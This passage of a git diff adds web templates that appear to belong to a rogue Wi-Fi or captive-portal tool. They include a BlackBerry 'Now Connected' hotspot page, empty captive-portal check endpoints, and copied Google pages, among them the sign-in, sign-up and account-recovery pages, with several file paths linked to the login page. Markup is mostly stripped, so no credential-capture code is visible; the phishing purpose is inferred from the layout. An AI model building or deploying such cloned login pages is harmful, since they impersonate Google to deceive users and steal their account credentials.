    \ No newline at end of file diff --git a/templates/www/blackberry/select/wifiloginsuccess/index.html b/templates/www/blackberry/select/wifiloginsuccess/index.html new file mode 100644 index 0000000..539f8e6 --- /dev/null +++ b/templates/www/blackberry/select/wifiloginsuccess/index.html @@ -0,0 +1 @@ +BlackBerry | Now Connected \ No newline at end of file diff --git a/templates/www/blackberry/select/wifiloginsuccess/logo.gif b/templates/www/blackberry/select/wifiloginsuccess/logo.gif new file mode 100644 index 0000000..d7dbd18 Binary files /dev/null and b/templates/www/blackberry/select/wifiloginsuccess/logo.gif differ diff --git a/templates/www/google/accounts.google.com/ServiceLogin b/templates/www/google/accounts.google.com/ServiceLogin new file mode 120000 index 0000000..29a7eb0 --- /dev/null +++ b/templates/www/google/accounts.google.com/ServiceLogin @@ -0,0 +1 @@ +ServiceLogin144f.html \ No newline at end of file diff --git a/templates/www/google/accounts.google.com/ServiceLogin.16f3ae.delayed b/templates/www/google/accounts.google.com/ServiceLogin.16f3ae.delayed new file mode 120000 index 0000000..29a7eb0 --- /dev/null +++ b/templates/www/google/accounts.google.com/ServiceLogin.16f3ae.delayed @@ -0,0 +1 @@ +ServiceLogin144f.html \ No newline at end of file diff --git a/templates/www/google/accounts.google.com/ServiceLogin.16f3ae.delayed.z b/templates/www/google/accounts.google.com/ServiceLogin.16f3ae.delayed.z new file mode 120000 index 0000000..29a7eb0 --- /dev/null +++ b/templates/www/google/accounts.google.com/ServiceLogin.16f3ae.delayed.z @@ -0,0 +1 @@ +ServiceLogin144f.html \ No newline at end of file diff --git a/templates/www/google/accounts.google.com/ServiceLogin0dc3.html b/templates/www/google/accounts.google.com/ServiceLogin0dc3.html new file mode 120000 index 0000000..29a7eb0 --- /dev/null +++ b/templates/www/google/accounts.google.com/ServiceLogin0dc3.html @@ -0,0 +1 @@ +ServiceLogin144f.html \ No newline at end of file diff --git a/templates/www/google/accounts.google.com/ServiceLogin144f.html b/templates/www/google/accounts.google.com/ServiceLogin144f.html new file mode 100644 index 0000000..66c8279 --- /dev/null +++ b/templates/www/google/accounts.google.com/ServiceLogin144f.html @@ -0,0 +1,1514 @@ + + + + + + + + + + Sign in - Google Accounts + + + + + + + + + + + + + + + +
    +
    +
    + +
    +
    +
    + + +
    + +

    + One Google Account for everything Google +

    + +
    +
    + +
    + + + + + + + + + + + + diff --git a/templates/www/google/accounts.google.com/ServiceLoginAuth b/templates/www/google/accounts.google.com/ServiceLoginAuth new file mode 120000 index 0000000..29a7eb0 --- /dev/null +++ b/templates/www/google/accounts.google.com/ServiceLoginAuth @@ -0,0 +1 @@ +ServiceLogin144f.html \ No newline at end of file diff --git a/templates/www/google/accounts.google.com/SignUp1d46.html b/templates/www/google/accounts.google.com/SignUp1d46.html new file mode 100644 index 0000000..aae8a8d --- /dev/null +++ b/templates/www/google/accounts.google.com/SignUp1d46.html @@ -0,0 +1,6998 @@ + + + + + + + + + + + Create your Google Account + + + + + + + + + + + + + + + +
    +
    +
    + + +
    +
    +
    + +

    + Create your Google Account +

    +
    + +
    +

    + One account is all you need +

    +

    + A single username and password gets you into everything Google. +

    + +

    + Make Google yours +

    +

    + Set up your profile and preferences just the way you like. +

    + +

    + Take it all with you +

    +

    + Switch between devices, and pick up wherever you left off. +

    + +
    +
    +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + diff --git a/templates/www/google/accounts.google.com/index.html b/templates/www/google/accounts.google.com/index.html new file mode 120000 index 0000000..29a7eb0 --- /dev/null +++ b/templates/www/google/accounts.google.com/index.html @@ -0,0 +1 @@ +ServiceLogin144f.html \ No newline at end of file diff --git a/templates/www/google/blank.html b/templates/www/google/blank.html new file mode 100644 index 0000000..e69de29 diff --git a/templates/www/google/checkin b/templates/www/google/checkin new file mode 100644 index 0000000..eb8ad51 Binary files /dev/null and b/templates/www/google/checkin differ diff --git a/templates/www/google/favicon.ico b/templates/www/google/favicon.ico new file mode 100644 index 0000000..f594697 Binary files /dev/null and b/templates/www/google/favicon.ico differ diff --git a/templates/www/google/generate_204 b/templates/www/google/generate_204 new file mode 100644 index 0000000..e69de29 diff --git a/templates/www/google/ssl.gstatic.com/accounts/ui/avatar_2x.6.delayed b/templates/www/google/ssl.gstatic.com/accounts/ui/avatar_2x.6.delayed new file mode 100644 index 0000000..bf0a8ad Binary files /dev/null and b/templates/www/google/ssl.gstatic.com/accounts/ui/avatar_2x.6.delayed differ diff --git a/templates/www/google/ssl.gstatic.com/accounts/ui/logo_2x.5.delayed b/templates/www/google/ssl.gstatic.com/accounts/ui/logo_2x.5.delayed new file mode 100644 index 0000000..d521768 Binary files /dev/null and b/templates/www/google/ssl.gstatic.com/accounts/ui/logo_2x.5.delayed differ diff --git a/templates/www/google/ssl.gstatic.com/accounts/ui/logo_strip_2x.a.delayed b/templates/www/google/ssl.gstatic.com/accounts/ui/logo_strip_2x.a.delayed new file mode 100644 index 0000000..0c33a7e Binary files /dev/null and b/templates/www/google/ssl.gstatic.com/accounts/ui/logo_strip_2x.a.delayed differ diff --git a/templates/www/google/ssl.gstatic.com/gb/images/b_8d5afc09.e.delayed b/templates/www/google/ssl.gstatic.com/gb/images/b_8d5afc09.e.delayed new file mode 100644 index 0000000..54ecde5 Binary files /dev/null and b/templates/www/google/ssl.gstatic.com/gb/images/b_8d5afc09.e.delayed differ diff --git a/templates/www/google/ssl.gstatic.com/images/icons/ui/common/universal_language_settings-21.d.delayed b/templates/www/google/ssl.gstatic.com/images/icons/ui/common/universal_language_settings-21.d.delayed new file mode 100644 index 0000000..52552cb Binary files /dev/null and b/templates/www/google/ssl.gstatic.com/images/icons/ui/common/universal_language_settings-21.d.delayed differ diff --git a/templates/www/google/ssl.gstatic.com/ui/v1/icons/common/x_8px.4.delayed b/templates/www/google/ssl.gstatic.com/ui/v1/icons/common/x_8px.4.delayed new file mode 100644 index 0000000..6b68fb1 Binary files /dev/null and b/templates/www/google/ssl.gstatic.com/ui/v1/icons/common/x_8px.4.delayed differ diff --git a/templates/www/google/ssl.gstatic.com/ui/v1/menu/checkmark.3.delayed b/templates/www/google/ssl.gstatic.com/ui/v1/menu/checkmark.3.delayed new file mode 100644 index 0000000..7af1470 Binary files /dev/null and b/templates/www/google/ssl.gstatic.com/ui/v1/menu/checkmark.3.delayed differ diff --git a/templates/www/google/themes.googleusercontent.com/static/fonts/opensans/v6/DXI1ORHCpsQm3Vp6mXoaTYnF5uFdDttMLvmWuJdhhgs.1.delayed b/templates/www/google/themes.googleusercontent.com/static/fonts/opensans/v6/DXI1ORHCpsQm3Vp6mXoaTYnF5uFdDttMLvmWuJdhhgs.1.delayed new file mode 100644 index 0000000..e69de29 diff --git a/templates/www/google/themes.googleusercontent.com/static/fonts/opensans/v6/DXI1ORHCpsQm3Vp6mXoaTYnF5uFdDttMLvmWuJdhhgs.1.delayed.z b/templates/www/google/themes.googleusercontent.com/static/fonts/opensans/v6/DXI1ORHCpsQm3Vp6mXoaTYnF5uFdDttMLvmWuJdhhgs.1.delayed.z new file mode 100644 index 0000000..e69de29 diff --git a/templates/www/google/themes.googleusercontent.com/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3aCWcynf_cDxXwCLxiixG1c.2.delayed b/templates/www/google/themes.googleusercontent.com/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3aCWcynf_cDxXwCLxiixG1c.2.delayed new file mode 100644 index 0000000..e69de29 diff --git a/templates/www/google/themes.googleusercontent.com/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3aCWcynf_cDxXwCLxiixG1c.2.delayed.z b/templates/www/google/themes.googleusercontent.com/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3aCWcynf_cDxXwCLxiixG1c.2.delayed.z new file mode 100644 index 0000000..e69de29 diff --git a/templates/www/google/www.google.com/accounts/recovery/indexf5b3.html b/templates/www/google/www.google.com/accounts/recovery/indexf5b3.html new file mode 100644 index 0000000..21b874d --- /dev/null +++ b/templates/www/google/www.google.com/accounts/recovery/indexf5b3.html @@ -0,0 +1,99 @@ + + + + + + + + +Google Account Recovery + + + + + +
    + +
    +

    Having trouble signing in?

    +
    +
    + + +

    + +
    To reset your password, enter the email address you use to sign in to Google. This can be your Gmail address, your Google Apps email address, or another email address associated with your account.
    +

    +

    +

    +

    + +
    Enter the username you use to sign in to Google. This can be your Gmail address, or it may be another email address you associated with your account.
    +

    +

    +
    + +
    + + \ No newline at end of file diff --git a/templates/www/google/www.google.com/advanced_search61d6.html b/templates/www/google/www.google.com/advanced_search61d6.html new file mode 100644 index 0000000..0dcf5bc --- /dev/null +++ b/templates/www/google/www.google.com/advanced_search61d6.html @@ -0,0 +1,56 @@ + + + + Google Advanced Search
    Find pages with...
     
    To do this in the search box
    Type the important words: tricolor rat terrier
    Put exact words in quotes: "rat terrier"
    Type OR between all the words you want: miniature OR standard
    Put a minus sign just before words you don't want: -rodent, -"Jack Russell"
    to
    Put 2 periods between the numbers and add a unit of measure: 10..35 lb, $300..$500, 2010..2011
    Then narrow your results by...
    Find pages in the language you select.
    Find pages published in a particular region.
    Find pages updated within the time you specify.
    Search one site (like wikipedia.org ) or limit your results to a domain like .edu, .org or .gov
    Search for terms in the whole page, page title, or web address, or links to the page you're looking for.
    Show most relevant results
    Tell SafeSearch whether to filter sexually explicit content.
    Find pages at one reading level or just view the level info.
    Find pages in the format you prefer.
    Find pages you are free to use yourself.
    + + \ No newline at end of file diff --git a/templates/www/google/www.google.com/financeee49.html b/templates/www/google/www.google.com/financeee49.html new file mode 100644 index 0000000..f727e67 --- /dev/null +++ b/templates/www/google/www.google.com/financeee49.html @@ -0,0 +1,1010 @@ + + + +Google Finance: Stock market quotes, news, currency conversions & more

    Recent Quotes (30 days)

    You have no recent quotes
    chg | %
    +
    +
    +

    Market summary

    +
    Aug 7 - Markets closed +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +

    World markets

    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + +
    Shanghai +2,194.42 ++6.76 (0.31%)
    Nikkei 225 +14,778.37 +-454.00 (-2.98%)
    Hang Seng Index +24,331.41 +-56.15 (-0.23%)
    TSEC +9,085.96 +-45.48 (-0.50%)
    FTSE 100 +6,557.08 +-40.29 (-0.61%)
    EURO STOXX 50 +3,001.15 +-11.73 (-0.39%)
    CAC 40 +4,134.85 +-14.98 (-0.36%)
    S&P TSX +15,118.77 +
    S&P/ASX 200 +5,435.30 +-73.70 (-1.34%)
    BSE Sensex +25,329.14 +-259.87 (-1.02%)
    TA25 +1,386.16 +
    KOSPI +2,031.10 +-23.41 (-1.14%)
    SMI +8,207.67 +-99.08 (-1.19%)
    ATX +2,221.44 +-17.80 (-0.79%)
    IBOVESPA +56,188.05 +
    SET +1,520.31 +-1.96 (-0.13%)
    BIST100 +78,306.54 +-536.77 (-0.68%)
    IBEX +10,100.90 ++22.30 (0.22%)
    WIG +49,466.11 +-492.56 (-0.99%)
    TASI +10,552.48 +
    MERVAL +6,885.34 + +
    +
    +
    +
    +
    +
    +

    Currencies

    +
    +
    +
    + + + + + + + +
    EUR/USD +1.3397 ++0.0035 (0.27%)
    USD/JPY +101.8450 +-0.2590 (-0.25%)
    GBP/USD +1.6810 +-0.0023 (-0.14%)
    USD/CAD +1.0924 +-0.0003 (-0.03%)
    USD/HKD +7.7514 ++0.0002 (0.00%)
    USD/CNY +6.1569 +-0.0054 (-0.09%)
    AUD/USD +0.9273 ++0.0006 (0.06%) +
    +
    +
    +
    +
    +
    +

    Bonds

    +
    +
    +
    + + + + + + +
    3 Month +0.01% +-0.01 (-50.00%)
    6 Month +0.03% +-0.01 (-25.00%)
    2 Year +0.43% +-0.02 (-4.44%)
    5 Year +1.59% +-0.05 (-3.05%)
    10 Year +2.41% +-0.05 (-2.03%)
    30 Year +3.22% +-0.03 (-0.92%) +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +Obama Allows Limited Airstrikes on ISIS + +
    + + +
    President Obama spoke about actions taken by his administration in Iraq, including airdrops of humanitarian supplies and the authorization of airstrikes against ISIS forces.
    + +
    +GLOBAL MARKETS-Shares, dollar sink as US authorises air strikes in Iraq  
    +
    +Yen Leads Haven Gains on Iraq Strike Plans; Turkish Lira Tumbles  
    +
    +
    +
    +
    +
    +
    +
    Market Chart
    +
    + + + + +
    + +16,368.27 + + +
    + +1,909.57 + + +
    + +4,334.97 + + +
    +
    +
    +
    +
    +
    +
    +

    Top stories

    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + +
    China recorded its biggest ever monthly trade surplus in July as exports surged and imports contracted, suggesting stronger growth in American and European export markets is mitigating continued weakness in the domestic Chinese economy.
    + +
    +
    + + + +
    Despite some positively skewed economic news last session, the primary U.S. stock composites dipped lower into negative territory.
    + +
    +
    + + + +
    Russian President Vladimir Putin chose a funny way to punish his American and European adversaries. By imposing sanctions on imports of U.S.
    + +
    +
    + + + +
    Effective Monday, there will be no hours available for part-time associates with the exception of an extremely limited few. At the Oxford's Market Basket alone, 400 part-timers will not be working next week, according to assistant manager Tim Belleza.
    + +
    +
    + + + +
    (Reuters) - Media company CBS Corp, owner of the most-watched U.S. television network, reported a quarterly profit that beat Wall Street forecasts on Thursday, though weaker advertising and a decline in television licensing dragged on revenue.
    + +
    +
    +
    + +
    +
    +
    +
    +

    Trends

    +
    +
    + +
    +
    + + + +
    + + + + +
    Popular searches on GoogleChange +Mkt Cap +
    +ZNGA + +Zynga Inc +4.66% +2.58B +
    +
    +
    +
    +
    +
    +
    +

    Sector summary

    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SectorChange% down / up
    Energy +-0.60% + + + + + + + +
    +
    + + + + + + +
    +
    Basic Materials +-0.94% + + + + + + + +
    +
    + + + + + + +
    +
    Industrials +-0.17% + + + + + + + +
    +
    + + + + + + +
    +
    Cyclical Cons. Goods ... +-0.98% + + + + + + + +
    +
    + + + + + + +
    +
    Non-Cyclical Cons. Goods... +-0.73% + + + + + + + +
    +
    + + + + + + +
    +
    Financials +-0.68% + + + + + + + +
    +
    + + + + + + +
    +
    Healthcare +-1.30% + + + + + + + +
    +
    + + + + + + +
    +
    Technology +-0.40% + + + + + + + +
    +
    + + + + + + +
    +
    Telecommunications Servi... +-0.53% + + + + + + + +
    +
    + + + + + + +
    +
    Utilities ++0.66% + + + + + + +
    +
    + + + + + + +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + \ No newline at end of file diff --git a/templates/www/google/www.google.com/images/srpr/logo9w.png b/templates/www/google/www.google.com/images/srpr/logo9w.png new file mode 100644 index 0000000..65305c4 Binary files /dev/null and b/templates/www/google/www.google.com/images/srpr/logo9w.png differ diff --git a/templates/www/google/www.google.com/imghp5881.html b/templates/www/google/www.google.com/imghp5881.html new file mode 100644 index 0000000..296a484 --- /dev/null +++ b/templates/www/google/www.google.com/imghp5881.html @@ -0,0 +1,37 @@ + + + +Google Images



         Advanced Image Search

    © 2013 - Privacy & Terms

    + + \ No newline at end of file diff --git a/templates/www/google/www.google.com/index.html b/templates/www/google/www.google.com/index.html new file mode 100644 index 0000000..de663d4 --- /dev/null +++ b/templates/www/google/www.google.com/index.html @@ -0,0 +1,37 @@ + + + +Google



     
     
       Advanced search
       Language tools

    © 2013 - Privacy & Terms

    + + diff --git a/templates/www/google/www.google.com/intl/en/about/index.html b/templates/www/google/www.google.com/intl/en/about/index.html new file mode 100644 index 0000000..f6a0e20 --- /dev/null +++ b/templates/www/google/www.google.com/intl/en/about/index.html @@ -0,0 +1,272 @@ + + + + + + + + + + + About Google + + + + + + + + +
    +
      +
    1. About Google +
    2. +
    +
    +
    +

    + Search volume around the world, visualized on the WebGL Globe +

    +
    +
    +
    +
    +
    + Google’s mission is to organize the world’s information and make it universally + accessible and useful. +
    + +
    +
    +
    +

    + Ten things we know to be true +

    +

    + #1: Focus on the user and all else will follow. +

    +

    + Since the beginning, we’ve focused on providing the best user experience possible. + Whether we’re designing a new Internet browser or a new tweak to the look of the + homepage, we take great care to ensure that they will ultimately serve you, rather than + our own internal goal or bottom line. +

    + +
    +
    +
    +

    + News from Google +

    +

    + Read up on our latest news, browse our blog directory, or choose to follow a number of + Google+ pages for updates on various + products and initiatives. +

    +

    + Learn more +

    +
    +
    +

    + Google careers +

    +

    + Ever wondered what life at Google looks + like or what benefits you might + expect as a Googler? Search for a job at Google + or check out one of our locations worldwide. +

    +

    + Learn more +

    +
    +
    +

    + Investor relations +

    +

    + Find out about investor news, financial information or corporate governance. +

    +

    + Learn more +

    +
    +
    +

    + Doodles +

    +
    +
    +

    + Doodles are the fun, surprising and sometimes spontaneous changes that are made to the + Google logo to celebrate holidays, anniversaries and the lives of famous artists, + pioneers and scientists. +

    +

    + View all Doodles +

    +
    +
    +
    +

    + Technology for social impact +

    +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    +
    +
    + + + + + \ No newline at end of file diff --git a/templates/www/google/www.google.com/intl/en/ads/index.html b/templates/www/google/www.google.com/intl/en/ads/index.html new file mode 100644 index 0000000..aff2ae0 --- /dev/null +++ b/templates/www/google/www.google.com/intl/en/ads/index.html @@ -0,0 +1,164 @@ + + + + + + + + + + + + Google Ads + + + + + + + + + + +
    +
    +
    +
    +
    + Romi, Owner — Romi Boutique +
    +

    + AdWords doubled my website traffic +

    +

    + Sales at my shop are up another 10% this year. When you go online, you go Google. +

    +
    + +
    +
    +

    + Advertise on Google +

    +

    + Those customers you are looking for, are looking for you – on Google.
    + + Learn more +

    +
    + + Get started +

    + If you prefer, we'll set up your ad for you, free of charge.
    + Call us at 1 877 906-7957* or + request a callback +

    +
    +
    +
    +
    +
    + Gregg Fidan, Publisher — RealCarTips.com +
    +

    + Simply put, Google doubled our revenue +

    +

    + AdSense has allowed me to live the life I’ve always dreamed of. +

    +
    + +
    +
    +

    + Make money from your site +

    +

    + Show ads that relate to the content and users of your website.
    + Learn more +

    Get + started +
    +
    +
    +
    +
    +

    + * Phone support in English available Monday-Friday, 9am-9pm ET. For new customers based + in the US or Canada only. Subject to website and business qualification. +

    +
    +
    +
    +
    + + + + + \ No newline at end of file diff --git a/templates/www/google/www.google.com/intl/en/options/index.html b/templates/www/google/www.google.com/intl/en/options/index.html new file mode 100644 index 0000000..03cb71d --- /dev/null +++ b/templates/www/google/www.google.com/intl/en/options/index.html @@ -0,0 +1,15 @@ + + + + + + +Page has moved + + +

    Click here...

    + + + + + diff --git a/templates/www/google/www.google.com/intl/en/policies/index.html b/templates/www/google/www.google.com/intl/en/policies/index.html new file mode 100644 index 0000000..92ce833 --- /dev/null +++ b/templates/www/google/www.google.com/intl/en/policies/index.html @@ -0,0 +1,154 @@ + + + + + + + + +Privacy & Terms – Google + + + + + + +
    +
    +
    +
    +

    Privacy Policy

    +

    Explains what information we collect and why, how we use it, and how to review and update it. +

    Read our Privacy Policy

    +
    +

    Terms of Service

    +

    Describes the rules you agree to when using our services. +

    Read our Terms of Service

    +
    +
    +

    Tools & information

    +

    We’re committed to protecting your privacy, improving your security, and building simple tools to give you choice and control. +

    +

    2-Step Verification

    +

    Protect your Google Account with something you know (your password) and something you have (your phone). Find out how to set up 2-step verification.

    + +
    +

    Incognito Mode

    +

    Learn how to browse incognito in Google Chrome, so pages you open and files you download aren’t recorded in Chrome’s browsing or download history. Find out how to access incognito mode.

    +
    +

    Google Safety Center

    +

    Keeping the web safe for everyone is a shared responsibility. Learn what you can do to protect yourself and your family online.

    +
    + \ No newline at end of file diff --git a/templates/www/google/www.google.com/intl/en/policies/terms/index.html b/templates/www/google/www.google.com/intl/en/policies/terms/index.html new file mode 100644 index 0000000..f540d1c --- /dev/null +++ b/templates/www/google/www.google.com/intl/en/policies/terms/index.html @@ -0,0 +1,186 @@ + + + + + + + + +Google Terms of Service – Privacy & Terms – Google + + + + + + +
    + +
    +
    +

    Google Terms of Service

    +

    Last modified: April 14, 2014 (view archived versions) +

    Welcome to Google!

    +

    Thanks for using our products and services (“Services”). The Services are provided by Google Inc. (“Google”), located at 1600 Amphitheatre Parkway, Mountain View, CA 94043, United States. +

    By using our Services, you are agreeing to these terms. Please read them carefully. +

    Our Services are very diverse, so sometimes additional terms or product requirements (including age requirements) may apply. Additional terms will be available with the relevant Services, and those additional terms become part of your agreement with us if you use those Services. +

    Using our Services

    +

    You must follow any policies made available to you within the Services. +

    Don’t misuse our Services. For example, don’t interfere with our Services or try to access them using a method other than the interface and the instructions that we provide. You may use our Services only as permitted by law, including applicable export and re-export control laws and regulations. We may suspend or stop providing our Services to you if you do not comply with our terms or policies or if we are investigating suspected misconduct. +

    Using our Services does not give you ownership of any intellectual property rights in our Services or the content you access. You may not use content from our Services unless you obtain permission from its owner or are otherwise permitted by law. These terms do not grant you the right to use any branding or logos used in our Services. Don’t remove, obscure, or alter any legal notices displayed in or along with our Services. +

    Our Services display some content that is not Google’s. This content is the sole responsibility of the entity that makes it available. We may review content to determine whether it is illegal or violates our policies, and we may remove or refuse to display content that we reasonably believe violates our policies or the law. But that does not necessarily mean that we review content, so please don’t assume that we do. +

    In connection with your use of the Services, we may send you service announcements, administrative messages, and other information. You may opt out of some of those communications. +

    Some of our Services are available on mobile devices. Do not use such Services in a way that distracts you and prevents you from obeying traffic or safety laws. +

    Your Google Account

    +

    You may need a Google Account in order to use some of our Services. You may create your own Google Account, or your Google Account may be assigned to you by an administrator, such as your employer or educational institution. If you are using a Google Account assigned to you by an administrator, different or additional terms may apply and your administrator may be able to access or disable your account. +

    To protect your Google Account, keep your password confidential. You are responsible for the activity that happens on or through your Google Account. Try not to reuse your Google Account password on third-party applications. If you learn of any unauthorized use of your password or Google Account, follow these instructions. +

    Privacy and Copyright Protection

    +

    Google’s privacy policies explain how we treat your personal data and protect your privacy when you use our Services. By using our Services, you agree that Google can use such data in accordance with our privacy policies. +

    We respond to notices of alleged copyright infringement and terminate accounts of repeat infringers according to the process set out in the U.S. Digital Millennium Copyright Act. +

    We provide information to help copyright holders manage their intellectual property online. If you think somebody is violating your copyrights and want to notify us, you can find information about submitting notices and Google’s policy about responding to notices in our Help Center. +

    Your Content in our Services

    +

    Some of our Services allow you to upload, submit, store, send or receive content. You retain ownership of any intellectual property rights that you hold in that content. In short, what belongs to you stays yours. +

    When you upload, submit, store, send or receive content to or through our Services, you give Google (and those we work with) a worldwide license to use, host, store, reproduce, modify, create derivative works (such as those resulting from translations, adaptations or other changes we make so that your content works better with our Services), communicate, publish, publicly perform, publicly display and distribute such content. The rights you grant in this license are for the limited purpose of operating, promoting, and improving our Services, and to develop new ones. This license continues even if you stop using our Services (for example, for a business listing you have added to Google Maps). Some Services may offer you ways to access and remove content that has been provided to that Service. Also, in some of our Services, there are terms or settings that narrow the scope of our use of the content submitted in those Services. Make sure you have the necessary rights to grant us this license for any content that you submit to our Services. +

    Our automated systems analyze your content (including emails) to provide you personally relevant product features, such as customized search results, tailored advertising, and spam and malware detection. This analysis occurs as the content is sent, received, and when it is stored. +

    If you have a Google Account, we may display your Profile name, Profile photo, and actions you take on Google or on third-party applications connected to your Google Account (such as +1’s, reviews you write and comments you post) in our Services, including displaying in ads and other commercial contexts. We will respect the choices you make to limit sharing or visibility settings in your Google Account. For example, you can choose your settings so your name and photo do not appear in an ad. +

    You can find more information about how Google uses and stores content in the privacy policy or additional terms for particular Services. If you submit feedback or suggestions about our Services, we may use your feedback or suggestions without obligation to you. +

    About Software in our Services

    +

    When a Service requires or includes downloadable software, this software may update automatically on your device once a new version or feature is available. Some Services may let you adjust your automatic update settings. +

    Google gives you a personal, worldwide, royalty-free, non-assignable and non-exclusive license to use the software provided to you by Google as part of the Services. This license is for the sole purpose of enabling you to use and enjoy the benefit of the Services as provided by Google, in the manner permitted by these terms. You may not copy, modify, distribute, sell, or lease any part of our Services or included software, nor may you reverse engineer or attempt to extract the source code of that software, unless laws prohibit those restrictions or you have our written permission. +

    Open source software is important to us. Some software used in our Services may be offered under an open source license that we will make available to you. There may be provisions in the open source license that expressly override some of these terms. +

    Modifying and Terminating our Services

    +

    We are constantly changing and improving our Services. We may add or remove functionalities or features, and we may suspend or stop a Service altogether. +

    You can stop using our Services at any time, although we’ll be sorry to see you go. Google may also stop providing Services to you, or add or create new limits to our Services at any time. +

    We believe that you own your data and preserving your access to such data is important. If we discontinue a Service, where reasonably possible, we will give you reasonable advance notice and a chance to get information out of that Service. +

    Our Warranties and Disclaimers

    +

    We provide our Services using a commercially reasonable level of skill and care and we hope that you will enjoy using them. But there are certain things that we don’t promise about our Services. +

    OTHER THAN AS EXPRESSLY SET OUT IN THESE TERMS OR ADDITIONAL TERMS, NEITHER GOOGLE NOR ITS SUPPLIERS OR DISTRIBUTORS MAKE ANY SPECIFIC PROMISES ABOUT THE SERVICES. FOR EXAMPLE, WE DON’T MAKE ANY COMMITMENTS ABOUT THE CONTENT WITHIN THE SERVICES, THE SPECIFIC FUNCTIONS OF THE SERVICES, OR THEIR RELIABILITY, AVAILABILITY, OR ABILITY TO MEET YOUR NEEDS. WE PROVIDE THE SERVICES “AS IS”. +

    SOME JURISDICTIONS PROVIDE FOR CERTAIN WARRANTIES, LIKE THE IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. TO THE EXTENT PERMITTED BY LAW, WE EXCLUDE ALL WARRANTIES. +

    Liability for our Services

    +

    WHEN PERMITTED BY LAW, GOOGLE, AND GOOGLE’S SUPPLIERS AND DISTRIBUTORS, WILL NOT BE RESPONSIBLE FOR LOST PROFITS, REVENUES, OR DATA, FINANCIAL LOSSES OR INDIRECT, SPECIAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES. +

    TO THE EXTENT PERMITTED BY LAW, THE TOTAL LIABILITY OF GOOGLE, AND ITS SUPPLIERS AND DISTRIBUTORS, FOR ANY CLAIMS UNDER THESE TERMS, INCLUDING FOR ANY IMPLIED WARRANTIES, IS LIMITED TO THE AMOUNT YOU PAID US TO USE THE SERVICES (OR, IF WE CHOOSE, TO SUPPLYING YOU THE SERVICES AGAIN). +

    IN ALL CASES, GOOGLE, AND ITS SUPPLIERS AND DISTRIBUTORS, WILL NOT BE LIABLE FOR ANY LOSS OR DAMAGE THAT IS NOT REASONABLY FORESEEABLE. +

    Business uses of our Services

    +

    If you are using our Services on behalf of a business, that business accepts these terms. It will hold harmless and indemnify Google and its affiliates, officers, agents, and employees from any claim, suit or action arising from or related to the use of the Services or violation of these terms, including any liability or expense arising from claims, losses, damages, suits, judgments, litigation costs and attorneys’ fees. +

    About these Terms

    +

    We may modify these terms or any additional terms that apply to a Service to, for example, reflect changes to the law or changes to our Services. You should look at the terms regularly. We’ll post notice of modifications to these terms on this page. We’ll post notice of modified additional terms in the applicable Service. Changes will not apply retroactively and will become effective no sooner than fourteen days after they are posted. However, changes addressing new functions for a Service or changes made for legal reasons will be effective immediately. If you do not agree to the modified terms for a Service, you should discontinue your use of that Service. +

    If there is a conflict between these terms and the additional terms, the additional terms will control for that conflict. +

    These terms control the relationship between Google and you. They do not create any third party beneficiary rights. +

    If you do not comply with these terms, and we don’t take action right away, this doesn’t mean that we are giving up any rights that we may have (such as taking action in the future). +

    If it turns out that a particular term is not enforceable, this will not affect any other terms. +

    The laws of California, U.S.A., excluding California’s conflict of laws rules, will apply to any disputes arising out of or relating to these terms or the Services. All claims arising out of or relating to these terms or the Services will be litigated exclusively in the federal or state courts of Santa Clara County, California, USA, and you and Google consent to personal jurisdiction in those courts. +

    For information about how to contact Google, please visit our contact page.

    +
    + \ No newline at end of file diff --git a/templates/www/google/www.google.com/mobile/indexdd9a.html b/templates/www/google/www.google.com/mobile/indexdd9a.html new file mode 100644 index 0000000..0edd4db --- /dev/null +++ b/templates/www/google/www.google.com/mobile/indexdd9a.html @@ -0,0 +1,909 @@ + + + + + + + + + + + Google Mobile + + + + + + + + + + + + +
    +
    + + + + + + + + +
    +
    +
    +
    +

    + Featured Apps +

    + +

    + Other Apps +

    + +
    + +
    +
    + + + + + \ No newline at end of file diff --git a/templates/www/google/www.google.com/prdhpfef7.html b/templates/www/google/www.google.com/prdhpfef7.html new file mode 100644 index 0000000..0ff5d8d --- /dev/null +++ b/templates/www/google/www.google.com/prdhpfef7.html @@ -0,0 +1,224 @@ + + + + + + + + + + + + + + +Google Shopping + + + + + + +
    +
    +
    + + + + + +
    Loading...
    + + + + + + + + + + \ No newline at end of file diff --git a/templates/www/google/www.google.com/preferencesfef7.html b/templates/www/google/www.google.com/preferencesfef7.html new file mode 100644 index 0000000..e59b5c9 --- /dev/null +++ b/templates/www/google/www.google.com/preferencesfef7.html @@ -0,0 +1,45 @@ + + + +Preferences
    Google 
     PreferencesGoogle Account settings | Preferences Help | About Google 
    Save your preferences when finished and return to search.

    Global Preferences (changes apply to all Google services)

     
     Interface Language

    Display Google tips and messages in:
     
     
     Search Language
     
    Prefer pages written in these language(s):










































     
     Location

    Use as the default location in Google Maps, customized search results, and other Google products:

    This location is saved on this computer. Learn more

     
     SafeSearch Filtering

    Google's SafeSearch blocks web pages containing explicit sexual content from appearing in search results.
     

    Lock SafeSearch This will apply strict filtering to all searches from this computer using this browser. Learn more

     
     Autocomplete
     


     
     
     Number of Results
     
    Google's default (10 results) provides the fastest results.
    Display results per page.
     
     
     Results Window 
     
     
     

    Save your preferences when finished and return to search.

    (Note: Setting preferences will not work if you have disabled cookies in your browser.)

    ©2013 Google
